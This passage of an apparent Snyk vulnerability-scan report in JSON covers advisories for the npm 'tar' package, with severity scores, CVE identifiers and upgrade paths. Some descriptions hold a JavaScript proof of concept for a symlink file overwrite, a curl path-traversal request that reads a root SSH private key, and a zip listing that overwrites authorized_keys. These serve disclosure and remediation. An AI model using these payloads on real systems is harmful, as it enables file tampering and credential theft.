"node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- 